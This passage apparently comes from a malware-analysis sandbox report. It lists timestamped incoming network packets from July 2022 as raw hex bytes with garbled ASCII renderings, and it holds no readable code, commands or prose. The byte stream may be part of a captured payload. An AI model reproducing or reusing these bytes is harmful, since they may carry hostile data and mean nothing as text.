hz@QE0i[(P=O@i\O@+#kGPV__<!_u:XPBP@#`5B[%hP0PmX0PPH"T+[LV_%&j@SdP%%&1c`/l{8cj8+!XU3]@PPx$QaKD
2022-07-20 08:32:57 UTC	971	IN	Data Raw: 10 48 f0 40 5f 83 67 e0 d0 30 0b 8e c1 7b 96 db f6 d3 40 0f 3b 98 08 09 dd 30 0b a4 9d f0 a6 a0 00 b6 c4 38 88 31 e4 b9 f6 e8 27 26 d0 30 b9 d3 1f ff c9 2d 64 63 95 fc 00 8b 44 3d 60 a6 10 a0 cb 1d e0 16 a4 d8 18 81 25 15 68 24 45 cf af 67 30 59 50 30 80 78 46 95 5f ff c3 80 f0 eb 54 7f 45 b0 cf e5 dc f6 e8 f1 50 d0 30 63 94 dc 8b b8 d9 fd 04 37 45 fc fe bf 5f 2f 48 4a a0 40 50 8b 27 0b f9 bb f5 58 8b fd 74 06 d8 8b d6 30 50 09 f3 68 ca c5 7f 5f 83 60 a0 18 65 55 7f cf 67 30 99 d0 a0 00 48 d0 c4 cf 1f d3 18 ff cb 1d 70 84 79 0d 00 00 40 a0 89 ff 1e fb 89 93 8b 1f b5 5b dc 03 bc 28 0b dd 40 b9 1d 5c 63 06 db 45 88 c7 5b fd ac 89 3d 54 75 c9 4f 04 81 a1 30 90 55 5f 75 80 b8 d9 25 1f af 53 20 40 b8 94 f5 0f ff c7 00 56 a0 d0 a0 a8 8f 54 af ff 63 28 2f d9 0f Data Ascii: H@_g0{@;081'&0-dcD=`%h$Eg0YP0xF_TEP0c7E_/HJ@P'Xt0Ph_`eUg0Hpy@[(@\cE[=TuO0U_u%S @VTc(/
2022-07-20 08:32:57 UTC	972	IN	Data Raw: 55 d2 4f c5 41 63 30 0c 8d 0c 8d a8 d0 a0 40 50 49 58 8b ad e8 53 51 88 50 83 48 6f 0b 6e 0d 63 bb af 05 bb 6c cd 39 eb 5e ff bf ca e0 68 a0 39 75 a0 d8 53 02 5e ff 23 2d d8 30 95 47 38 c1 51 af 7f 27 f0 16 00 00 40 48 0c b0 bf 5f c3 9a ff 6b 22 3b 07 b3 a6 89 f5 70 d9 45 b4 5f 45 58 b8 5a d8 6f 2f d9 29 75 bc 5f 85 08 a8 bb 30 a0 30 c9 5b 50 89 d5 b0 5b ca 69 2d 34 c7 05 ac 7e 1f 0f ff e8 1a 40 a0 d0 2b 86 2b 97 db 4d 10 84 59 3d 80 50 00 80 c9 0f 6e 0b 69 f3 db 2d d4 0b e5 30 7f d5 08 a8 99 a8 ff bf d9 f3 2b cf c5 5b 4c 83 4c 44 53 4d e8 50 a5 17 a8 15 91 1f 0f c7 00 16 40 a0 d0 48 20 b0 bf af 83 28 1f db e0 49 93 53 d7 6f 25 38 b8 69 c0 af af 69 0b dd d8 b3 7b 8b b8 99 a9 08 3d 83 b9 f9 38 c6 ba a1 53 f3 07 38 13 f8 50 d0 8b 8a d3 44 f0 79 4d f8 8b b0 Data Ascii: UOAc0@PIXSQPHoncl9^h9uS^#-0G8Q'@H_k";pE_EXZo/)u_00[P[i-4~@++MY=Pni-0+[LLDSMP@H (ISo%8ii{=8S8PDyM
2022-07-20 08:32:57 UTC	988	IN	Data Raw: 90 6f a5 8c 48 ec e9 5f 0f 8b b0 05 c6 af b5 1b d0 a0 00 49 d4 d0 30 e0 dd d4 36 cd 18 88 db 31 1b c0 23 81 d4 ff 9b 82 d7 53 b8 fb 6c 1e 2f bb 7c d5 ff f4 f0 97 37 9c 6c 30 50 bb 23 d0 78 63 1c 5f ff cb 58 a9 85 bf f4 7b 67 37 4d 0d a0 00 23 97 d8 db e2 63 2f 85 bf 24 ba 8a f0 6a 00 6a 40 f6 87 5f 35 58 13 af 75 f0 1f a5 3c 68 d3 a9 7f 6f d5 f0 24 bf 03 90 00 60 b9 d5 f0 f5 9a 50 10 f6 a7 50 bf f5 14 48 3d 8e d0 a0 8b 50 d3 14 10 65 a6 a5 2c 17 b8 da 64 0e ff 59 33 b6 f3 38 f1 c4 5e bf 09 8b 26 6d b5 dc df 0e 5b 0b dd ac 03 9d 48 af d4 ae cf 49 53 2f f5 80 ff 35 bc 1b c0 17 68 1e 24 ce 6f 89 4b d4 2b af 85 bb 0c d3 3c 10 bf 25 88 6d bd f0 e8 8b 9e 5e 2f 5f 35 88 cd 15 f4 1f 95 f4 cf f5 70 ff f5 8c af 45 48 5f 45 44 af 45 90 6f a5 8c f0 e8 a2 5d 0f ff c3 Data Ascii: oH_I061#Sl/\|7l0P#xc_X{g7M#c/$jj@_5Xu<ho$`PPH=Pe,dY38^&m[HIS/5h$oK+<%m^/_5pEH_EDEo]
2022-07-20 08:32:57 UTC	989	IN	Data Raw: 0b af 55 0b 7c 3a 30 af d5 2c af 25 28 7f e5 c4 7f d5 10 bf d5 fc ff 35 88 d8 a5 30 90 d0 23 c4 bc 0d 13 bb 1f 05 5b ec cb 15 88 d3 39 53 33 db 03 29 98 a4 cb e5 48 07 bf ed e0 d0 f0 09 18 08 0b d5 58 b9 18 ac bb 1d 40 c6 41 80 a4 8b 2b 45 48 1f 7f 00 40 40 39 f8 34 66 11 a2 74 ac db 95 38 5f c3 d0 00 80 d3 c8 e4 f2 f6 c1 01 34 ac 5b e5 48 1f d1 50 00 20 63 98 34 84 a6 c1 84 e4 5c bb 15 a8 8f de 50 30 40 13 98 84 a8 f6 81 a8 84 0c cb c5 38 1f a0 90 d0 60 83 e8 54 c0 bb ad 58 86 8b 35 5c 0b e6 31 e0 04 f7 90 93 91 a8 c3 40 50 61 41 e8 6b 9d 38 0b 56 03 40 67 80 03 11 a8 b3 b0 58 01 c1 98 5b cd a8 8b 46 71 18 f7 90 b3 71 a8 b3 70 d4 91 41 a8 db 9d 38 6b 56 11 e8 43 a7 50 d3 b1 08 83 e0 42 91 91 a8 cb a6 cb 1d 08 21 08 d5 c7 50 63 41 88 b3 93 01 11 a8 d8 07 Data Ascii: U\|:0,%(50#[9S3)HX@A+EH@@94ft8_4[HP c4\P0@8`TX5\1@PaAk8V@gX[FqqpA8kVCPB!PcA
2022-07-20 08:32:57 UTC	1005	IN	Data Raw: 94 53 20 ff 49 db 08 60 f0 00 00 85 89 d4 d3 50 bf a9 cb d8 8c e0 e0 d0 b5 49 24 03 70 6f 59 66 3a a6 bd 18 78 6e 01 e9 28 c8 4e 4f 40 d4 f9 8b 51 05 e2 d4 33 60 2f aa 83 d9 a4 d0 44 ea db 81 fc c5 82 f4 e3 00 ff 0a 83 81 b0 53 4e 41 d5 96 af b0 7c e0 d0 30 68 0a ff 7f 6f 09 6e 0d 63 5a 5c 38 38 3b d5 d0 68 2f 4e be 5f 73 65 a4 80 d8 56 65 6f 2f 2d 78 ec db dd b8 0f 1f d0 85 c8 00 83 e0 f0 74 06 8b 77 25 26 d5 7d ca 44 b8 47 fc 1f 2f 69 03 35 fc 80 6f 65 f8 55 f0 30 07 b8 0d 80 90 d0 d9 f9 8b b0 29 85 e4 87 c5 cc 5e cf 6f 2f 48 09 a0 50 d0 b5 16 24 f0 eb 4c db f5 04 9a 04 e8 5b 5c 5f 2f f9 83 2b 86 db 4d 10 84 59 3d 80 50 00 80 c9 0f 6e 0b 69 f3 b8 51 a1 7e 6f 1c 0b 5f 55 cb 4c a6 8b 35 8c 67 25 c6 e4 ec 2b 45 a8 d5 10 44 d5 db e8 3b be 25 84 6b 36 eb 2d Data Ascii: S I`PI$poYf:xn(NO@Q3`/DSNA\|0honcZ\88;h/N_seVeo/-xtw%&}DG/i5oeU0)^o/HP$L[\_/+MY=PniQ~o_UL5g%+ED;%k6-
2022-07-20 08:32:57 UTC	1006	IN	Data Raw: bf 7f b3 64 20 15 10 af 85 05 51 d0 30 6b 16 88 b9 40 53 80 e0 d3 c1 3b c1 4f 24 a5 a1 40 a0 cb 1e 60 6d 65 ac cf 7f af f7 59 fa 10 2b 99 21 d1 52 a0 cf 7f c0 51 41 a1 10 40 a0 a1 57 a8 f6 50 5f cf 15 10 d5 35 29 0e 88 03 20 10 39 4e 41 50 80 16 b6 58 01 75 f6 f7 38 b5 43 a0 40 09 85 20 94 7b b3 ce 08 01 0b 5f dd 61 52 c6 bb 51 d3 f1 82 f6 eb 43 d5 f5 a9 d0 0f ff bf 0d b5 dc cf 6f 2f f0 ff d6 00 38 72 37 af 2f 59 19 d5 40 ef 75 00 01 00 40 2b 9e f8 c1 69 40 52 00 e0 69 9e 68 b9 0e 60 f4 a1 d1 f9 50 a1 30 50 dd a6 20 92 d0 80 29 4e 18 c6 c9 1a 4f 05 e7 a0 30 90 5b 6f 8d f9 52 b6 bb e1 d3 11 02 26 6b 05 98 0f ff ff 75 b1 49 76 a0 40 a0 79 0e 5c 94 99 5b 66 d0 dd 5a 82 f6 db 32 d3 62 32 36 6b b5 f8 6f 2f 7f d5 f1 6b 73 21 fa 7b d6 6c d5 69 c7 38 d3 02 a0 50 Data Ascii: d Q0k@S;O$@`meY+!RQA@WP_5) 9NAPXu8C@ {_aRQCo/8r7/Y@u@+i@Rih`P0P )NO0[oR&kuIv@y\[fZ2b26ko/ks!{li8P
2022-07-20 08:32:57 UTC	1022	IN	Data Raw: 5b cf d3 db dc d1 c1 d3 d4 a0 23 f4 54 05 bb eb 94 59 ec 84 04 cb 4c 71 ec c8 80 30 a0 91 64 3b ef 00 93 95 59 75 1c db 93 10 16 db f3 ec a7 0f b7 08 c9 2d ac 5f bf 5f cb 56 83 08 e1 a4 19 03 b8 01 f4 b0 d3 d8 51 d4 27 d3 b8 31 f4 9e 53 68 a1 74 55 23 18 03 35 ec 5a b0 db 9e ba b2 eb aa 3a c1 db e6 3a d4 eb 42 3a 88 bf a1 8d 46 18 10 f7 38 3f 39 5f bf d3 c4 ec 65 10 45 c7 db 4b 88 13 a9 20 24 b0 b3 a9 46 44 8b 13 29 9d d4 06 c3 c5 30 fe ab 92 bb e5 f0 4d 96 b0 83 40 b3 53 f8 e3 8d 8d b0 c9 15 40 6d b6 18 50 8d 06 a8 80 f1 17 2d c5 2c ff 1f 1f 80 bd c5 d0 50 68 af 2b cf af 23 f4 48 38 cf 7f 90 d0 7f 15 7c bf 5f 0f e8 42 01 cf 5f b3 ae d8 f9 59 d4 44 38 11 09 ae 2f 84 80 24 8b b6 18 3e e9 fe bf f9 55 60 35 a8 bf 66 e8 c3 9e 2f cf d9 db 4d 7c cf 63 fd 0e 48 Data Ascii: [#TYLq0d;Yu-__VQ'1ShtU#5Z::B:F8?9_eEK $FD)0M@S@mP-,Ph+#H8\|_B_YD8/$>U`5f/M\|cH
2022-07-20 08:32:57 UTC	1023	IN	Data Raw: 15 3c f1 e4 d0 5f 93 2b d5 58 ff 1f 1f 53 f4 88 d5 c0 0b 15 50 cf af 5f 4e 65 db e8 0b 62 eb 7a d4 2d cb 67 db c2 c9 05 dc 5e cf 6f 5b 70 8a a6 dd a6 31 6a 1c e2 ff c8 14 b2 1f 78 4e ff 83 ab a1 a5 4b cb 25 40 af ff 1f 6b 45 38 7f af ff 0b 25 ac ce af 5f bb 8a d9 a5 84 6f 2f 7f 9b fe 36 9e 1b 07 cd 24 14 a0 30 90 d0 a3 f0 29 e5 24 ce 1f af eb f7 33 73 0b 6d 08 fe ff ff 17 f6 2f b5 7c 11 04 50 ff 75 18 2e cf 7f d3 c4 88 15 90 bb d5 a0 cf af af 4e 53 7b 92 0b 35 08 bf 5f 0f 8b dd 78 ce 5f cf 7b d3 2d 49 a0 53 20 0b 12 27 cf 57 16 db 4b 1f e5 3c b1 44 40 5f 03 2b d5 a8 bf af ff 63 24 d8 b5 40 db 85 80 6f af cf 2e 7b bb cd 54 cf 7f 6f 59 35 54 fe bf 5f 7b b5 b8 7e cf 5f db 97 5d 04 24 a0 50 d0 30 6b d5 d0 ff bf af 0b 2b db d8 89 8d 44 5f 2f 5f 7b 7f 36 4f 57 Data Ascii: <_+XSP_Nebz-g^o[p1jxNK%@kE8%_o/6$0)$3sm/\|Pu.NS{5_x_{-IS 'WK<D@_+c$@o.{ToY5T_{~_]$P0k+D_/_{6OW
2022-07-20 08:32:57 UTC	1039	IN	Data Raw: c0 43 60 a8 76 e6 19 b0 bd d5 73 d4 70 b2 55 c0 35 a3 63 21 20 e5 84 d0 74 6f 20 1c d5 e0 90 70 e3 60 3f 72 c0 bc b6 30 80 50 69 ee e6 31 5c 39 c4 10 23 24 42 e9 fe b7 ba 80 63 2f ce 84 72 2f ec 10 c3 58 f1 a2 c1 63 d4 35 a2 10 b5 7b e0 30 70 14 a0 c8 b3 52 29 20 2d d5 a3 d4 60 c2 25 70 65 93 83 b1 40 e5 34 20 f4 ff 70 6c 25 90 00 60 14 10 ef e2 f0 dc d2 00 40 a0 99 6e 36 e1 5c c9 54 b0 a3 d4 72 c9 3e b7 0a c0 33 bf 6e 34 22 ef 8c d0 63 68 61 32 c1 b3 d4 25 d2 60 05 2b d0 d0 e0 75 a0 78 53 cf b9 70 5d 25 d3 44 70 32 55 a0 f5 a3 e3 c1 70 25 c4 d0 74 2f a0 6c d5 00 a0 e0 e5 00 c9 3e a6 51 8c 39 b4 20 33 24 f2 89 9e 67 3a 20 23 cf be d4 32 cf 2c 70 63 88 81 a2 51 e3 24 65 f2 b0 05 1b 60 90 00 16 70 18 d3 d9 f9 a0 cd 75 33 d4 d0 62 25 a0 55 d3 53 f1 a0 c5 64 Data Ascii: C`vspU5c! to p`?r0Pi1\9#$Bc/r/Xc5{0pR) -`%pe@4 pl%`@n6\Tr>3n4"cha2%`+uxSp]%Dp2Up%t/l>Q9 3$g: #2,pcQ$e`pu3b%USd
2022-07-20 08:32:58 UTC	1040	IN	Data Raw: 91 09 70 78 75 cd b9 f0 ed d5 73 34 80 92 65 60 e5 43 c3 51 e0 b5 c4 20 d4 3f f0 6c 95 60 e0 31 79 50 e9 8e 86 61 6c 69 24 80 a3 d4 32 c9 2e 37 3a c0 83 bf 5e f4 22 6f ec b0 33 58 31 d2 51 33 24 55 f2 b0 85 ab 90 30 71 e1 d0 28 13 d5 72 89 10 fd a5 d3 74 80 32 b5 10 85 23 b3 61 30 35 e4 c0 84 6f 20 5c 35 90 e0 91 01 a0 40 50 00 e0 e0 d0 30 e9 3e 76 e1 fc 39 54 70 d3 44 22 39 5e e7 aa f0 e3 cf 6e 34 d2 9f 6c 60 e3 58 c1 42 f1 b3 d4 65 d2 70 85 1b d0 60 e1 42 60 78 c5 b3 b3 29 20 6d 35 d3 a4 80 22 c5 60 35 73 83 81 a0 55 e4 70 74 ef b0 0c 45 60 90 01 12 50 30 80 90 d0 80 a0 00 29 ce 86 61 2c e9 54 80 43 e4 a2 c9 6e c7 6a f0 53 8f 3e a4 72 2f 3c a0 83 98 61 72 61 23 d4 b5 d2 60 f5 6b 60 30 d1 a3 f0 18 c6 03 29 a0 fd 25 43 24 80 52 35 70 55 f3 f3 b1 f0 c5 64 Data Ascii: pxus4e`CQ ?l`1yPali$2.7:^"o3X1Q3$U0q(rt2#a05o \5@P0>v9TpD"9^n4l`XBep`B`x) m5"`5sUptE`P0)a,TCnjS>r/<ara#`k`0)%C$R5pUd
2022-07-20 08:32:58 UTC	1056	IN	Data Raw: bd 4d 4d 4d 60 c4 b4 8c 60 d9 39 29 79 e0 a8 98 0a ed 3d 3a f3 e3 50 30 50 a0 63 50 25 30 ee 90 d0 80 ed 00 2f a0 9e 00 40 80 64 a0 45 90 b5 a0 00 a0 07 d0 55 e0 34 d0 00 40 04 80 88 f0 75 00 00 40 e6 d0 d2 40 c9 40 50 00 b3 e0 b1 30 f4 50 00 80 c3 50 45 50 ce 30 34 50 51 80 e9 d0 80 a0 00 40 ed f0 6f 40 ee 30 c4 30 f1 d0 d9 00 a0 50 d0 30 b4 50 a5 00 25 50 f3 e0 94 00 61 00 39 a0 d0 a0 17 a0 25 50 64 e0 8e d0 55 80 23 00 e4 90 31 30 29 a0 30 50 04 30 e8 90 a5 80 d2 00 33 a0 94 00 21 80 49 a0 30 90 d0 a0 46 a0 22 d0 59 e0 34 d0 61 40 29 80 e0 f0 00 00 53 40 c1 d0 d4 40 d5 40 22 00 84 e0 b1 30 f9 50 00 80 90 50 7a 50 c1 30 3e 50 30 80 d6 d0 e5 a0 62 40 a0 f0 4d 40 e1 30 d2 30 90 d0 e1 00 d0 50 a2 30 e0 50 9d 00 21 50 f9 e0 f0 00 4a 00 35 a0 be a0 40 a0 0a Data Ascii: MMM``9)y=:P0PcP%0/@dEU4@u@@@P0PPEP04PQ@o@00P0P%Pa9%PdU#10)0P03!I0F"Y4a@)S@@@"0PPzP0>P0b@M@00P0P!PJ5@
2022-07-20 08:32:58 UTC	1057	IN	Data Raw: 2d a0 62 d0 30 e0 31 d0 70 40 39 80 cd f0 6d 00 73 40 8d d0 d7 40 c9 40 3e 00 cd e0 b3 30 ef 50 72 80 f5 50 1d 50 d3 30 24 50 42 80 f9 d0 ee a0 67 40 8d f0 6c 40 b1 30 8d 30 a1 d0 8d 00 90 50 d0 30 81 50 a0 00 29 50 ad e0 9d 00 73 00 6d a0 a7 a0 29 a0 2e 50 2d e0 83 d0 5f 80 22 00 e5 90 7d 30 23 a0 49 50 23 30 e9 90 be 80 c6 00 2f a0 dd 00 2c 80 01 a0 1d 90 e2 a0 2d a0 61 d0 30 e0 50 d0 61 40 20 80 89 f0 2d 00 6d 40 d3 d0 8d 40 d7 40 39 00 8e e0 fd 30 e3 50 6f 80 e2 50 55 50 8d 30 27 50 59 80 fe d0 f2 a0 74 40 8d f0 6c 40 b1 30 8d 30 a1 d0 8d 00 90 50 d0 30 e0 50 b1 00 30 50 e9 e0 dd 00 6d 00 33 a0 fd a0 37 a0 29 50 6e e0 cd d0 53 80 3f 00 f2 90 35 30 7d a0 48 50 23 30 f4 90 b1 80 d4 00 25 a0 dd 00 2c 80 02 a0 1d 90 e1 a0 2d a0 60 d0 30 e0 31 d0 70 40 39 Data Ascii: -b01p@9ms@@@>0PrPP0$PBg@l@00P0P)Psm).P-_"}0#IP#0/,-a0Pa@ -m@@@90PoPUP0'PYt@l@00P0P0Pm37)PnS?50}HP#0%,-`01p@9
2022-07-20 08:32:58 UTC	1073	IN	Data Raw: d2 6f da 95 79 c1 44 8c b7 ed 80 20 5a e0 83 8a e2 7f 26 24 12 00 7a 60 ec 3d a0 10 e5 2c 7d df 0a bf 13 c8 cf af 05 04 46 bd 40 10 33 0e 46 b5 9a ef 80 6c 52 0b a3 7f 14 bd 80 a0 f5 ba b4 3a e9 ef a5 cd bd 90 07 ee ae bd 40 80 2f 57 79 a1 e9 1f 4f af cb 60 6a b8 6e 6d 30 d0 54 5a 22 e9 88 3f 63 28 8d cf 20 fc e9 6d a0 80 f1 ff 3e 30 38 5f 46 35 c8 3e 26 48 d5 ed 30 c0 df 35 6a e8 e7 3f d5 e7 c4 3f f7 b4 95 4d 00 e0 7c 07 06 71 47 6f ad 18 50 cf 24 15 a0 ed d0 40 ea b7 19 2b 26 bf 2a 00 e7 75 8a 8b 01 1d 40 80 53 08 15 84 e6 3f f7 72 ca 1c 50 f7 14 1d 30 10 83 a1 7f 4f 05 3f 35 ba d0 73 be 54 7f 3d 30 30 47 a3 49 cb d5 1f 22 37 8a d1 90 cd 39 fd 50 80 63 ad 9f f6 d4 ff e6 7e eb 92 cd b3 68 bd e0 30 93 11 e0 d3 d4 3f a1 29 02 ca f9 ac b0 ec 30 c0 9d 5a 39 Data Ascii: oyD Z&$z`=,}F@3FlR:@/WyO`jnm0TZ"?c( m>08_F5>&H05j??M\|qGoP$@+&*u@S?rP0O?5sT=00GI"79Pc~h0?)0Z9
2022-07-20 08:32:58 UTC	1074	IN	Data Raw: c7 ef 73 05 ef 88 04 c9 7b bd 80 90 28 5d 94 a9 47 ef 74 d9 4d c6 6a e3 e5 bd 40 a0 f0 00 40 80 30 a0 30 90 d0 a0 00 a0 50 d0 30 e0 50 d0 00 40 a0 bf e0 f0 00 00 40 bf 4f ef a0 40 a0 40 10 fe 0f df d0 30 80 50 40 7d 7f 6f 30 50 a0 30 10 ac df bf 90 d0 80 a0 40 bb 4f cf 00 40 80 30 e0 ca 7f ef a0 00 a0 50 90 c9 0f 6f d0 00 40 50 c0 18 1f 3f 00 00 40 a0 90 57 af 9f 40 50 00 e0 a0 26 df bf 50 00 80 90 10 c5 bf 9f 30 50 50 30 c0 64 3f bf a0 00 40 a0 b0 f3 af bf 30 a0 30 90 90 52 ef 9f 50 d0 30 e0 10 21 ef 7f 50 80 e0 f0 40 f0 ef 7f a0 d0 a0 40 e0 af bf 3f e0 e0 d0 30 c0 be ef bf 90 50 30 50 e0 dd bf 6f 30 80 90 d0 c0 4c ef 7f a0 f0 00 40 c0 db 4f 0f 90 d0 a0 00 e0 ba 3f 0f e0 50 d0 00 00 b9 6f df f0 00 00 00 00 48 3f 9f 40 a0 40 50 40 07 0f ef 30 80 50 00 c0 Data Ascii: s{(]GtMj@@00P0P@@O@@0P@}o0P0@O@0Po@P?@W@P&P0PP0d?@00RP0!P@@?0P0Po0L@O?PoH?@@P@0P
2022-07-20 08:32:58 UTC	1090	IN	Data Raw: d0 a0 2c 02 15 d0 74 42 15 d0 a0 e0 15 80 28 6f 45 00 ac df e5 d0 a4 e0 e5 40 50 00 e0 e0 98 cb cf 50 04 80 90 50 30 50 a0 30 af af cf 7f 90 d0 80 a0 40 40 a0 f0 1c e2 c5 30 a0 30 90 d0 a0 00 a0 50 d0 30 e0 50 a8 fb 0f 50 f4 42 b5 00 00 00 40 a0 d0 a0 40 a0 42 50 00 e0 64 72 75 80 c0 a2 c5 90 bc 91 15 a0 30 50 50 30 f8 6b 9f 80 a1 00 40 a0 f0 00 40 80 cf 5f cf 6f d0 a0 00 a0 10 d0 30 e0 24 72 45 40 50 80 e0 f0 00 00 00 40 a0 d0 a0 40 50 bb 1f 00 20 42 95 30 80 50 00 80 90 50 30 50 a2 30 50 50 e0 22 d5 d0 5c 02 45 40 a8 6d 45 40 80 30 a0 30 60 2b ef 00 a1 50 d0 30 e0 50 d0 00 bf af 7f 1f f0 00 00 00 00 a0 d0 a0 80 02 05 50 00 e0 e0 d0 30 80 50 00 80 90 50 30 e0 57 7f 50 5c 93 c5 90 d0 80 a0 00 40 a0 f0 00 42 80 30 a0 2c 33 95 a0 28 03 15 d0 dc 7b 15 d0 00 Data Ascii: ,tB(oE@PPP0P0@@00P0PPB@@BPdru0PP0k@@_o0$rE@P@@P B0PP0P0PP"\E@mE@00`+P0PP0PP0WP\@B0,3({
2022-07-20 08:32:58 UTC	1091	IN	Data Raw: 81 a0 13 70 a1 f0 80 70 81 30 f3 72 91 d0 7d 63 a1 50 e1 54 e1 50 3d 6c 41 50 a7 8d f1 00 bd 9e 41 a0 19 3f 41 a0 ed e1 01 e0 e0 62 31 80 e3 d2 81 90 31 e4 51 a0 93 84 51 30 ee 47 d1 80 03 d7 41 a0 b9 dd 41 80 b3 7d 31 90 b9 46 01 a0 80 3e 31 e0 da 3f 01 40 10 97 e2 f0 41 19 02 40 0d cf a2 40 80 61 52 00 7d c1 d2 30 64 72 02 80 2d 74 32 50 22 15 52 50 70 a6 92 d0 21 87 02 40 dc c3 02 40 ff 03 a2 30 12 e3 a2 00 25 63 d2 30 3d 68 d2 00 26 69 82 e0 cd 3e 02 00 46 e0 d2 a0 10 e0 42 50 3d a4 e2 d0 fd c7 52 00 da d8 52 30 cd ef 32 50 06 61 82 90 40 da a2 00 c4 c4 f2 00 bd f3 32 a0 20 e6 d2 a0 bd 36 52 d0 fd 76 52 d0 9d db 52 80 39 6b 02 00 51 dc a2 d0 66 dc a2 40 99 9c e2 e0 1c ac 82 50 cf 1c 92 50 24 cd a2 30 4c cd 32 80 eb 4d 82 a0 80 dd a2 f0 ff 92 82 30 b7 Data Ascii: pp0r}cPTP=lAPA?Ab11QQ0GAA}1F>1?@A@@aR}0dr-t2P"RPp!@@0%c0=h&i>FBP=RR02Pa@2 6RvRR9kQf@PP$0L2M0
2022-07-20 08:32:58 UTC	1107	IN	Data Raw: ff ae 17 78 e2 57 65 62 6b 82 6d cb 31 6f d8 4c 5d 97 f4 cb 53 54 42 9d 25 99 f9 36 e6 11 ae 38 b3 67 de f6 47 63 42 29 7e c5 f9 2e e5 eb 3e be 95 4d 64 dc 2a 16 59 48 29 8a 69 89 95 6e 7a bb 53 62 3a a4 c3 b9 1c 98 0c c5 64 04 0c e5 6e a3 1c 32 97 d3 eb 4b 46 3c 70 70 5c db 7c 88 49 8b fe 0b eb ec ee 93 29 cc dd 04 bc 5a b6 9c f5 9e d6 94 8b 51 09 bb db 66 89 e8 69 92 29 cc c8 29 13 ca 37 1c e4 ce 13 51 4d 3a 99 1a ab 96 85 04 a6 03 58 1c 68 80 7a c3 36 9d f5 4e ac aa d4 a7 e6 e4 d6 eb 84 7a b7 f0 38 ac 85 02 32 52 e7 87 b0 89 18 55 a6 ac d9 fa 3b cb cf 6f 6f 8c ba 68 e9 e7 d4 97 5c cc 7a 61 cc 7d 6d e5 1e b7 02 16 e3 ea 31 17 88 12 a7 05 31 8b 99 53 da da 92 f4 db 14 10 ab 84 69 b3 71 2f bd 66 f0 32 89 44 64 79 f8 c4 13 34 a5 d5 d8 36 a4 84 d2 0d 4b f1 Data Ascii: xWebkm1oL]STB%68gGcB)~.>Md*YH)inzSb:dn2KF<pp\\|I)ZQfi))7QM:Xhz6Nz82RU;ooh\za}m11Siq/f2Ddy46K
2022-07-20 08:32:58 UTC	1108	IN	Data Raw: 45 0b 95 91 64 1d fb 73 9c 28 ea e1 7b 42 34 c0 fa f8 67 6e c5 c9 6a 83 b2 60 50 9d f5 cf ef d0 ed 9a eb 82 50 3c 79 53 18 42 1c 1a 0d 1f 45 27 6a 10 2b 4b 66 9c 55 cd 0b 3a 90 b8 50 30 03 de 99 9c 4a c1 c5 ff d1 71 27 b0 d4 34 be 13 97 73 34 9d 39 4f 8a 82 97 64 8a e6 ea f5 bd 1c 2b df 76 47 e8 42 f8 c3 bf 7c 28 f2 d8 94 e4 2e 24 71 51 7d 37 a8 ae 70 3e 0e 0d 5b 16 00 b8 5b 68 c6 d2 39 d5 78 6a 89 6b 57 2c 91 ef d3 a5 b8 45 a5 d0 5a 54 b7 b2 1e 43 d1 17 85 9e 0f 75 d0 10 90 67 1f ce 94 9c 4a b7 d9 54 71 15 af 13 57 69 f4 38 82 0e e4 ab 75 5b d6 0d 3d 7c a5 bb c1 17 3a c5 90 a2 55 23 54 b7 bb 8d 08 27 54 e8 63 92 74 07 a9 3c 46 85 e5 ed ec 20 f0 54 ae c9 57 a2 63 c0 ec 99 94 02 6b 84 6e a3 5c c9 97 bd 0a 23 05 5b aa 61 0b 02 14 d0 2a 18 6f 8e 9f 7d 65 30 Data Ascii: Eds({B4gnj`PP<ySBE'j+KfU:P0Jq'4s49Od+vGB\|(.$qQ}7p>[[h9xjkW,EZTCugJTqWi8u[=\|:U#T'Tct<F TWckn\#[a*o}e0
2022-07-20 08:32:58 UTC	1124	IN	Data Raw: a6 23 90 be d1 70 98 17 90 91 c3 37 56 20 93 05 9e 19 7b 52 84 10 25 12 b4 39 59 25 41 f6 a1 9c c8 c9 b6 10 e8 76 78 62 a0 90 17 ff 65 e0 66 0b 47 71 a6 ec 21 53 67 ec 4b c4 13 17 35 5e 43 41 b7 87 81 5f e6 be d4 79 75 44 a9 45 23 a7 b4 be 0b 4c 85 2e 8b 60 ab fd b2 7a f0 e1 11 fd ca 3b 43 b6 97 76 28 12 de 15 52 c6 9b 43 e3 67 81 b0 04 de 29 2c 1a e1 91 41 b9 69 63 c2 09 34 fd 07 74 69 77 e5 05 a0 0c be b4 9a 91 6c d6 33 e7 06 24 82 d7 62 f6 d2 28 99 1b d6 81 30 d4 2d c1 39 b8 7b 42 19 85 a2 9c a3 f4 3e e5 ce 5b 9c 0c 8d bb 28 62 7e 42 7f b1 fc 11 97 a3 21 7d c1 c9 63 4b 42 a3 29 ac 6b d0 f3 e1 9c 33 9a 75 b5 30 b1 36 76 14 51 ab 60 45 86 1a ce 74 91 26 f3 73 0b c0 5d 66 fa 16 bc 7b 50 53 42 ac 33 7a d6 b8 f6 c4 d0 70 22 47 17 63 1d 25 18 6c 5f 01 c1 b2 Data Ascii: #p7V {R%9Y%AvxbefGq!SgK5^CA_yuDE#L.`z;Cv(RCg),Aic4tiwl3$b(0-9{B>[(b~B!}cKB)k3u06vQ`Et&s]f{PSB3zp"Gc%l_
2022-07-20 08:32:58 UTC	1125	IN	Data Raw: ab c0 85 c0 29 32 8b a0 f0 bc 91 dc 53 d5 a0 15 26 18 10 0f ea 81 78 da ee 7d 3d 5f 42 29 9c 80 bf c3 54 d9 ff b7 86 5e a2 10 27 8e 79 d7 4b d1 13 14 32 c9 74 01 ca bf 37 ad 8f cd c7 50 a9 1e 58 99 06 81 60 ca 16 35 eb 84 09 1b 43 1a 9b 0d c6 09 e5 13 43 21 64 f6 63 b4 a1 16 54 86 02 31 38 90 29 f3 5a 69 1d 54 3e 93 f5 74 c0 e4 6e db 8c 3d f5 d6 b8 b1 36 95 f5 31 83 39 de af 1f ba d8 3c f8 11 6f a0 74 0e 65 4e 7b 08 26 68 38 bb db 3a 4f 5d 75 5f 7d 0c 80 ea 2f 6b a9 bf ad 97 cf ed dc 00 a0 37 bf de c9 bd e3 ef 0d 5c 91 76 14 d3 a7 90 e5 f9 13 d9 d4 c3 5c d0 a2 97 3c cd ad 07 f1 95 dd 69 3d 3b c6 94 9e c7 18 80 18 79 90 62 f6 16 3c ba ea 84 58 ac 28 d1 e6 cf a2 9c ca 3b 17 e3 9c c8 0c db 44 e2 e8 14 8e c3 ba bc 60 94 c7 3f e6 27 35 5f c3 b9 44 69 06 2b 83 Data Ascii: 